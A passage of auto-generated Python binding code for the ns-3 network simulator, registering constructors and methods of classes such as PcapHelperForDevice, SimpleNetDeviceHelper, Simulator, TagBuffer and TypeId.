## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::NodeContainer n, bool promiscuous=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n'), param('bool', 'promiscuous', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, uint32_t nodeid, uint32_t deviceid, bool promiscuous=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid'), param('bool', 'promiscuous', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcapAll(std::string prefix, bool promiscuous=false) [member function]
cls.add_method('EnablePcapAll',
'void',
[param('std::string', 'prefix'), param('bool', 'promiscuous', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcapInternal(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool promiscuous, bool explicitFilename) [member function]
cls.add_method('EnablePcapInternal',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'promiscuous'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3SimpleNetDeviceHelper_methods(root_module, cls):
## simple-net-device-helper.h (module 'network'): ns3::SimpleNetDeviceHelper::SimpleNetDeviceHelper(ns3::SimpleNetDeviceHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SimpleNetDeviceHelper const &', 'arg0')])
## simple-net-device-helper.h (module 'network'): ns3::SimpleNetDeviceHelper::SimpleNetDeviceHelper() [constructor]
cls.add_constructor([])
## simple-net-device-helper.h (module 'network'): ns3::NetDeviceContainer ns3::SimpleNetDeviceHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'ns3::NetDeviceContainer',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## simple-net-device-helper.h (module 'network'): ns3::NetDeviceContainer ns3::SimpleNetDeviceHelper::Install(ns3::Ptr<ns3::Node> node, ns3::Ptr<ns3::SimpleChannel> channel) const [member function]
cls.add_method('Install',
'ns3::NetDeviceContainer',
[param('ns3::Ptr< ns3::Node >', 'node'), param('ns3::Ptr< ns3::SimpleChannel >', 'channel')],
is_const=True)
## simple-net-device-helper.h (module 'network'): ns3::NetDeviceContainer ns3::SimpleNetDeviceHelper::Install(ns3::NodeContainer const & c) const [member function]
cls.add_method('Install',
'ns3::NetDeviceContainer',
[param('ns3::NodeContainer const &', 'c')],
is_const=True)
## simple-net-device-helper.h (module 'network'): ns3::NetDeviceContainer ns3::SimpleNetDeviceHelper::Install(ns3::NodeContainer const & c, ns3::Ptr<ns3::SimpleChannel> channel) const [member function]
cls.add_method('Install',
'ns3::NetDeviceContainer',
[param('ns3::NodeContainer const &', 'c'), param('ns3::Ptr< ns3::SimpleChannel >', 'channel')],
is_const=True)
## simple-net-device-helper.h (module 'network'): void ns3::SimpleNetDeviceHelper::SetChannel(std::string type, std::string n1="", ns3::AttributeValue const & v1=ns3::EmptyAttributeValue(), std::string n2="", ns3::AttributeValue const & v2=ns3::EmptyAttributeValue(), std::string n3="", ns3::AttributeValue const & v3=ns3::EmptyAttributeValue(), std::string n4="", ns3::AttributeValue const & v4=ns3::EmptyAttributeValue()) [member function]
cls.add_method('SetChannel',
'void',
[param('std::string', 'type'), param('std::string', 'n1', default_value='""'), param('ns3::AttributeValue const &', 'v1', default_value='ns3::EmptyAttributeValue()'), param('std::string', 'n2', default_value='""'), param('ns3::AttributeValue const &', 'v2', default_value='ns3::EmptyAttributeValue()'), param('std::string', 'n3', default_value='""'), param('ns3::AttributeValue const &', 'v3', default_value='ns3::EmptyAttributeValue()'), param('std::string', 'n4', default_value='""'), param('ns3::AttributeValue const &', 'v4', default_value='ns3::EmptyAttributeValue()')])
## simple-net-device-helper.h (module 'network'): void ns3::SimpleNetDeviceHelper::SetChannelAttribute(std::string n1, ns3::AttributeValue const & v1) [member function]
cls.add_method('SetChannelAttribute',
'void',
[param('std::string', 'n1'), param('ns3::AttributeValue const &', 'v1')])
## simple-net-device-helper.h (module 'network'): void ns3::SimpleNetDeviceHelper::SetDeviceAttribute(std::string n1, ns3::AttributeValue const & v1) [member function]
cls.add_method('SetDeviceAttribute',
'void',
[param('std::string', 'n1'), param('ns3::AttributeValue const &', 'v1')])
## simple-net-device-helper.h (module 'network'): void ns3::SimpleNetDeviceHelper::SetNetDevicePointToPointMode(bool pointToPointMode) [member function]
cls.add_method('SetNetDevicePointToPointMode',
'void',
[param('bool', 'pointToPointMode')])
## simple-net-device-helper.h (module 'network'): void ns3::SimpleNetDeviceHelper::SetQueue(std::string type, std::string n1="", ns3::AttributeValue const & v1=ns3::EmptyAttributeValue(), std::string n2="", ns3::AttributeValue const & v2=ns3::EmptyAttributeValue(), std::string n3="", ns3::AttributeValue const & v3=ns3::EmptyAttributeValue(), std::string n4="", ns3::AttributeValue const & v4=ns3::EmptyAttributeValue()) [member function]
cls.add_method('SetQueue',
'void',
[param('std::string', 'type'), param('std::string', 'n1', default_value='""'), param('ns3::AttributeValue const &', 'v1', default_value='ns3::EmptyAttributeValue()'), param('std::string', 'n2', default_value='""'), param('ns3::AttributeValue const &', 'v2', default_value='ns3::EmptyAttributeValue()'), param('std::string', 'n3', default_value='""'), param('ns3::AttributeValue const &', 'v3', default_value='ns3::EmptyAttributeValue()'), param('std::string', 'n4', default_value='""'), param('ns3::AttributeValue const &', 'v4', default_value='ns3::EmptyAttributeValue()')])
return
def register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount(ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3Simulator_methods(root_module, cls):
## simulator.h (module 'core'): ns3::Simulator::Simulator(ns3::Simulator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Simulator const &', 'arg0')])
## simulator.h (module 'core'): static void ns3::Simulator::Cancel(ns3::EventId const & id) [member function]
cls.add_method('Cancel',
'void',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Destroy() [member function]
cls.add_method('Destroy',
'void',
[],
is_static=True)
## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetContext() [member function]
cls.add_method('GetContext',
'uint32_t',
[],
is_static=True)
## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetDelayLeft(ns3::EventId const & id) [member function]
cls.add_method('GetDelayLeft',
'ns3::Time',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static ns3::Ptr<ns3::SimulatorImpl> ns3::Simulator::GetImplementation() [member function]
cls.add_method('GetImplementation',
'ns3::Ptr< ns3::SimulatorImpl >',
[],
is_static=True)
## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetMaximumSimulationTime() [member function]
cls.add_method('GetMaximumSimulationTime',
'ns3::Time',
[],
is_static=True)
## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetSystemId() [member function]
cls.add_method('GetSystemId',
'uint32_t',
[],
is_static=True)
## simulator.h (module 'core'): static bool ns3::Simulator::IsExpired(ns3::EventId const & id) [member function]
cls.add_method('IsExpired',
'bool',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static bool ns3::Simulator::IsFinished() [member function]
cls.add_method('IsFinished',
'bool',
[],
is_static=True)
## simulator.h (module 'core'): static ns3::Time ns3::Simulator::Now() [member function]
cls.add_method('Now',
'ns3::Time',
[],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Remove(ns3::EventId const & id) [member function]
cls.add_method('Remove',
'void',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::SetImplementation(ns3::Ptr<ns3::SimulatorImpl> impl) [member function]
cls.add_method('SetImplementation',
'void',
[param('ns3::Ptr< ns3::SimulatorImpl >', 'impl')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::SetScheduler(ns3::ObjectFactory schedulerFactory) [member function]
cls.add_method('SetScheduler',
'void',
[param('ns3::ObjectFactory', 'schedulerFactory')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Stop() [member function]
cls.add_method('Stop',
'void',
[],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Stop(ns3::Time const & delay) [member function]
cls.add_method('Stop',
'void',
[param('ns3::Time const &', 'delay')],
is_static=True)
return
def register_Ns3StatisticalSummary_methods(root_module, cls):
## data-calculator.h (module 'stats'): ns3::StatisticalSummary::StatisticalSummary() [constructor]
cls.add_constructor([])
## data-calculator.h (module 'stats'): ns3::StatisticalSummary::StatisticalSummary(ns3::StatisticalSummary const & arg0) [copy constructor]
cls.add_constructor([param('ns3::StatisticalSummary const &', 'arg0')])
## data-calculator.h (module 'stats'): long int ns3::StatisticalSummary::getCount() const [member function]
cls.add_method('getCount',
'long int',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): double ns3::StatisticalSummary::getMax() const [member function]
cls.add_method('getMax',
'double',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): double ns3::StatisticalSummary::getMean() const [member function]
cls.add_method('getMean',
'double',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): double ns3::StatisticalSummary::getMin() const [member function]
cls.add_method('getMin',
'double',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): double ns3::StatisticalSummary::getSqrSum() const [member function]
cls.add_method('getSqrSum',
'double',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): double ns3::StatisticalSummary::getStddev() const [member function]
cls.add_method('getStddev',
'double',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): double ns3::StatisticalSummary::getSum() const [member function]
cls.add_method('getSum',
'double',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## data-calculator.h (module 'stats'): double ns3::StatisticalSummary::getVariance() const [member function]
cls.add_method('getVariance',
'double',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3SystemWallClockMs_methods(root_module, cls):
## system-wall-clock-ms.h (module 'core'): ns3::SystemWallClockMs::SystemWallClockMs(ns3::SystemWallClockMs const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SystemWallClockMs const &', 'arg0')])
## system-wall-clock-ms.h (module 'core'): ns3::SystemWallClockMs::SystemWallClockMs() [constructor]
cls.add_constructor([])
## system-wall-clock-ms.h (module 'core'): int64_t ns3::SystemWallClockMs::End() [member function]
cls.add_method('End',
'int64_t',
[])
## system-wall-clock-ms.h (module 'core'): int64_t ns3::SystemWallClockMs::GetElapsedReal() const [member function]
cls.add_method('GetElapsedReal',
'int64_t',
[],
is_const=True)
## system-wall-clock-ms.h (module 'core'): int64_t ns3::SystemWallClockMs::GetElapsedSystem() const [member function]
cls.add_method('GetElapsedSystem',
'int64_t',
[],
is_const=True)
## system-wall-clock-ms.h (module 'core'): int64_t ns3::SystemWallClockMs::GetElapsedUser() const [member function]
cls.add_method('GetElapsedUser',
'int64_t',
[],
is_const=True)
## system-wall-clock-ms.h (module 'core'): void ns3::SystemWallClockMs::Start() [member function]
cls.add_method('Start',
'void',
[])
return
def register_Ns3Tag_methods(root_module, cls):
## tag.h (module 'network'): ns3::Tag::Tag() [constructor]
cls.add_constructor([])
## tag.h (module 'network'): ns3::Tag::Tag(ns3::Tag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Tag const &', 'arg0')])
## tag.h (module 'network'): void ns3::Tag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_pure_virtual=True, is_virtual=True)
## tag.h (module 'network'): uint32_t ns3::Tag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## tag.h (module 'network'): static ns3::TypeId ns3::Tag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## tag.h (module 'network'): void ns3::Tag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## tag.h (module 'network'): void ns3::Tag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3TagBuffer_methods(root_module, cls):
## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(ns3::TagBuffer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TagBuffer const &', 'arg0')])
## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(uint8_t * start, uint8_t * end) [constructor]
cls.add_constructor([param('uint8_t *', 'start'), param('uint8_t *', 'end')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::CopyFrom(ns3::TagBuffer o) [member function]
cls.add_method('CopyFrom',
'void',
[param('ns3::TagBuffer', 'o')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::Read(uint8_t * buffer, uint32_t size) [member function]
cls.add_method('Read',
'void',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')])
## tag-buffer.h (module 'network'): double ns3::TagBuffer::ReadDouble() [member function]
cls.add_method('ReadDouble',
'double',
[])
## tag-buffer.h (module 'network'): uint16_t ns3::TagBuffer::ReadU16() [member function]
cls.add_method('ReadU16',
'uint16_t',
[])
## tag-buffer.h (module 'network'): uint32_t ns3::TagBuffer::ReadU32() [member function]
cls.add_method('ReadU32',
'uint32_t',
[])
## tag-buffer.h (module 'network'): uint64_t ns3::TagBuffer::ReadU64() [member function]
cls.add_method('ReadU64',
'uint64_t',
[])
## tag-buffer.h (module 'network'): uint8_t ns3::TagBuffer::ReadU8() [member function]
cls.add_method('ReadU8',
'uint8_t',
[])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::TrimAtEnd(uint32_t trim) [member function]
cls.add_method('TrimAtEnd',
'void',
[param('uint32_t', 'trim')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::Write(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Write',
'void',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteDouble(double v) [member function]
cls.add_method('WriteDouble',
'void',
[param('double', 'v')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU16(uint16_t data) [member function]
cls.add_method('WriteU16',
'void',
[param('uint16_t', 'data')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU32(uint32_t data) [member function]
cls.add_method('WriteU32',
'void',
[param('uint32_t', 'data')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU64(uint64_t v) [member function]
cls.add_method('WriteU64',
'void',
[param('uint64_t', 'v')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU8(uint8_t v) [member function]
cls.add_method('WriteU8',
'void',
[param('uint8_t', 'v')])
return
def register_Ns3TimeWithUnit_methods(root_module, cls):
cls.add_output_stream_operator()
## nstime.h (module 'core'): ns3::TimeWithUnit::TimeWithUnit(ns3::TimeWithUnit const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TimeWithUnit const &', 'arg0')])
## nstime.h (module 'core'): ns3::TimeWithUnit::TimeWithUnit(ns3::Time const time, ns3::Time::Unit const unit) [constructor]
cls.add_constructor([param('ns3::Time const', 'time'), param('ns3::Time::Unit const', 'unit')])
return
def register_Ns3TracedValue__Unsigned_int_methods(root_module, cls):
## traced-value.h (module 'core'): ns3::TracedValue<unsigned int>::TracedValue() [constructor]
cls.add_constructor([])
## traced-value.h (module 'core'): ns3::TracedValue<unsigned int>::TracedValue(ns3::TracedValue<unsigned int> const & o) [copy constructor]
cls.add_constructor([param('ns3::TracedValue< unsigned int > const &', 'o')])
## traced-value.h (module 'core'): ns3::TracedValue<unsigned int>::TracedValue(unsigned int const & v) [constructor]
cls.add_constructor([param('unsigned int const &', 'v')])
## traced-value.h (module 'core'): void ns3::TracedValue<unsigned int>::Connect(ns3::CallbackBase const & cb, std::basic_string<char,std::char_traits<char>,std::allocator<char> > path) [member function]
cls.add_method('Connect',
'void',
[param('ns3::CallbackBase const &', 'cb'), param('std::string', 'path')])
## traced-value.h (module 'core'): void ns3::TracedValue<unsigned int>::ConnectWithoutContext(ns3::CallbackBase const & cb) [member function]
cls.add_method('ConnectWithoutContext',
'void',
[param('ns3::CallbackBase const &', 'cb')])
## traced-value.h (module 'core'): void ns3::TracedValue<unsigned int>::Disconnect(ns3::CallbackBase const & cb, std::basic_string<char,std::char_traits<char>,std::allocator<char> > path) [member function]
cls.add_method('Disconnect',
'void',
[param('ns3::CallbackBase const &', 'cb'), param('std::string', 'path')])
## traced-value.h (module 'core'): void ns3::TracedValue<unsigned int>::DisconnectWithoutContext(ns3::CallbackBase const & cb) [member function]
cls.add_method('DisconnectWithoutContext',
'void',
[param('ns3::CallbackBase const &', 'cb')])
## traced-value.h (module 'core'): unsigned int ns3::TracedValue<unsigned int>::Get() const [member function]
cls.add_method('Get',
'unsigned int',
[],
is_const=True)
## traced-value.h (module 'core'): void ns3::TracedValue<unsigned int>::Set(unsigned int const & v) [member function]
cls.add_method('Set',
'void',
[param('unsigned int const &', 'v')])
return
def register_Ns3TypeId_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_comparison_operator('<')
cls.add_output_stream_operator()
cls.add_binary_comparison_operator('==')
## type-id.h (module 'core'): ns3::TypeId::TypeId(char const * name) [constructor]
cls.add_constructor([param('char const *', 'name')])
## type-id.h (module 'core'): ns3::TypeId::TypeId() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeId::TypeId(ns3::TypeId const & o) [copy constructor]
cls.add_constructor([param('ns3::TypeId const &', 'o')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::TypeId::SupportLevel supportLevel=::ns3::TypeId::SUPPORTED, std::string const & supportMsg="") [member function]
cls.add_method('AddAttribute',
'ns3::TypeId',
[param('std::string', 'name'), param('std::string', 'help'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::TypeId::SupportLevel', 'supportLevel', default_value='::ns3::TypeId::SUPPORTED'), param('std::string const &', 'supportMsg', default_value='""')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddAttribute(std::string name, std::string help, uint32_t flags, ns3::AttributeValue const & initialValue, ns3::Ptr<ns3::AttributeAccessor const> accessor, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::TypeId::SupportLevel supportLevel=::ns3::TypeId::SUPPORTED, std::string const & supportMsg="") [member function]
cls.add_method('AddAttribute',
'ns3::TypeId',
[param('std::string', 'name'), param('std::string', 'help'), param('uint32_t', 'flags'), param('ns3::AttributeValue const &', 'initialValue'), param('ns3::Ptr< ns3::AttributeAccessor const >', 'accessor'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::TypeId::SupportLevel', 'supportLevel', default_value='::ns3::TypeId::SUPPORTED'), param('std::string const &', 'supportMsg', default_value='""')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddTraceSource(std::string name, std::string help, ns3::Ptr<ns3::TraceSourceAccessor const> accessor) [member function]
cls.add_method('AddTraceSource',
'ns3::TypeId',
[param('std::string', 'name'), param('std::string', 'help'), param('ns3::Ptr< ns3::TraceSourceAccessor const >', 'accessor')],
deprecated=True)
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::AddTraceSource(std::string name, std::string help, ns3::Ptr<ns3::TraceSourceAccessor const> accessor, std::string callback, ns3::TypeId::SupportLevel supportLevel=::ns3::TypeId::SUPPORTED, std::string const & supportMsg="") [member function]
cls.add_method('AddTraceSource',
'ns3::TypeId',
[param('std::string', 'name'), param('std::string', 'help'), param('ns3::Ptr< ns3::TraceSourceAccessor const >', 'accessor'), param('std::string', 'callback'), param('ns3::TypeId::SupportLevel', 'supportLevel', default_value='::ns3::TypeId::SUPPORTED'), param('std::string const &', 'supportMsg', default_value='""')])
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation ns3::TypeId::GetAttribute(uint32_t i) const [member function]
cls.add_method('GetAttribute',
'ns3::TypeId::AttributeInformation',
[param('uint32_t', 'i')],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeId::GetAttributeFullName(uint32_t i) const [member function]
cls.add_method('GetAttributeFullName',
'std::string',
[param('uint32_t', 'i')],
is_const=True)
## type-id.h (module 'core'): uint32_t ns3::TypeId::GetAttributeN() const [member function]
cls.add_method('GetAttributeN',
'uint32_t',
[],
is_const=True)
## type-id.h (module 'core'): ns3::Callback<ns3::ObjectBase*,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ns3::TypeId::GetConstructor() const [member function]
cls.add_method('GetConstructor',
'ns3::Callback< ns3::ObjectBase *, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >',
[],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeId::GetGroupName() const [member function]
cls.add_method('GetGroupName',
'std::string',
[],
is_const=True)
## type-id.h (module 'core'): uint32_t ns3::TypeId::GetHash() const [member function]
cls.add_method('GetHash',
'uint32_t',
[],
is_const=True)
## type-id.h (module 'core'): std::string ns3::TypeId::GetName() const [member function]
cls.add_method('GetName',
'std::string',
[],
is_const=True)
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::GetParent() const [member function]
cls.add_method('GetParent',
'ns3::TypeId',
[],
is_const=True)
## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::GetRegistered(uint32_t i) [member function]
cls.add_method('GetRegistered',
'ns3::TypeId',
[param('uint32_t', 'i')],
is_static=True)
## type-id.h (module 'core'): static uint32_t ns3::TypeId::GetRegisteredN() [member function]
cls.add_method('GetRegisteredN',
'uint32_t',
[],
is_static=True)
## type-id.h (module 'core'): std::size_t ns3::TypeId::GetSize() const [member function]
cls.add_method('GetSize',
'std::size_t',
[],
is_const=True)
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation ns3::TypeId::GetTraceSource(uint32_t i) const [member function]
cls.add_method('GetTraceSource',
'ns3::TypeId::TraceSourceInformation',
[param('uint32_t', 'i')],
is_const=True)
## type-id.h (module 'core'): uint32_t ns3::TypeId::GetTraceSourceN() const [member function]
cls.add_method('GetTraceSourceN',
'uint32_t',
[],
is_const=True)
## type-id.h (module 'core'): uint16_t ns3::TypeId::GetUid() const [member function]
cls.add_method('GetUid',
'uint16_t',
[],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::HasConstructor() const [member function]
cls.add_method('HasConstructor',
'bool',
[],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::HasParent() const [member function]
cls.add_method('HasParent',
'bool',
[],
is_const=True)
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::HideFromDocumentation() [member function]
cls.add_method('HideFromDocumentation',
'ns3::TypeId',
[])
## type-id.h (module 'core'): bool ns3::TypeId::IsChildOf(ns3::TypeId other) const [member function]
cls.add_method('IsChildOf',
'bool',
[param('ns3::TypeId', 'other')],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::LookupAttributeByName(std::string name, ns3::TypeId::AttributeInformation * info) const [member function]
cls.add_method('LookupAttributeByName',
'bool',
[param('std::string', 'name'), param('ns3::TypeId::AttributeInformation *', 'info', transfer_ownership=False)],
is_const=True)
## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::LookupByHash(uint32_t hash) [member function]
cls.add_method('LookupByHash',
'ns3::TypeId',
[param('uint32_t', 'hash')],
is_static=True)
## type-id.h (module 'core'): static bool ns3::TypeId::LookupByHashFailSafe(uint32_t hash, ns3::TypeId * tid) [member function]
cls.add_method('LookupByHashFailSafe',
'bool',
[param('uint32_t', 'hash'), param('ns3::TypeId *', 'tid')],
is_static=True)
## type-id.h (module 'core'): static ns3::TypeId ns3::TypeId::LookupByName(std::string name) [member function]
cls.add_method('LookupByName',
'ns3::TypeId',
[param('std::string', 'name')],
is_static=True)
## type-id.h (module 'core'): ns3::Ptr<ns3::TraceSourceAccessor const> ns3::TypeId::LookupTraceSourceByName(std::string name) const [member function]
cls.add_method('LookupTraceSourceByName',
'ns3::Ptr< ns3::TraceSourceAccessor const >',
[param('std::string', 'name')],
is_const=True)
## type-id.h (module 'core'): ns3::Ptr<ns3::TraceSourceAccessor const> ns3::TypeId::LookupTraceSourceByName(std::string name, ns3::TypeId::TraceSourceInformation * info) const [member function]
cls.add_method('LookupTraceSourceByName',
'ns3::Ptr< ns3::TraceSourceAccessor const >',
[param('std::string', 'name'), param('ns3::TypeId::TraceSourceInformation *', 'info')],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::MustHideFromDocumentation() const [member function]
cls.add_method('MustHideFromDocumentation',
'bool',
[],
is_const=True)
## type-id.h (module 'core'): bool ns3::TypeId::SetAttributeInitialValue(uint32_t i, ns3::Ptr<ns3::AttributeValue const> initialValue) [member function]
cls.add_method('SetAttributeInitialValue',
'bool',
[param('uint32_t', 'i'), param('ns3::Ptr< ns3::AttributeValue const >', 'initialValue')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetGroupName(std::string groupName) [member function]
cls.add_method('SetGroupName',
'ns3::TypeId',
[param('std::string', 'groupName')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetParent(ns3::TypeId tid) [member function]
cls.add_method('SetParent',
'ns3::TypeId',
[param('ns3::TypeId', 'tid')])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetParent() [member function]
cls.add_method('SetParent',
'ns3::TypeId',
[],
template_parameters=['ns3::Object'])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetParent() [member function]
cls.add_method('SetParent',
'ns3::TypeId',
[],
template_parameters=['ns3::QueueBase'])
## type-id.h (module 'core'): ns3::TypeId ns3::TypeId::SetSize(std::size_t size) [member function]
cls.add_method('SetSize',
'ns3::TypeId',
[param('std::size_t', 'size')])
## type-id.h (module 'core'): void ns3::TypeId::SetUid(uint16_t uid) [member function]
cls.add_method('SetUid',
'void',
[param('uint16_t', 'uid')])
return
def register_Ns3TypeIdAttributeInformation_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::AttributeInformation(ns3::TypeId::AttributeInformation const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeId::AttributeInformation const &', 'arg0')])
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::accessor [variable]
cls.add_instance_attribute('accessor', 'ns3::Ptr< ns3::AttributeAccessor const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::checker [variable]
cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::flags [variable]
cls.add_instance_attribute('flags', 'uint32_t', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::help [variable]
cls.add_instance_attribute('help', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::initialValue [variable]
cls.add_instance_attribute('initialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::name [variable]
cls.add_instance_attribute('name', 'std::string', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::originalInitialValue [variable]
cls.add_instance_attribute('originalInitialValue', 'ns3::Ptr< ns3::AttributeValue const >', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::supportLevel [variable]
cls.add_instance_attribute('supportLevel', 'ns3::TypeId::SupportLevel', is_const=False)
## type-id.h (module 'core'): ns3::TypeId::AttributeInformation::supportMsg [variable]
cls.add_instance_attribute('supportMsg', 'std::string', is_const=False)
return
def register_Ns3TypeIdTraceSourceInformation_methods(root_module, cls):
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation() [constructor]
cls.add_constructor([])
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::TraceSourceInformation(ns3::TypeId::TraceSourceInformation const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TypeId::TraceSourceInformation const &', 'arg0')])
## type-id.h (module 'core'): ns3::TypeId::TraceSourceInformation::accessor [variable]
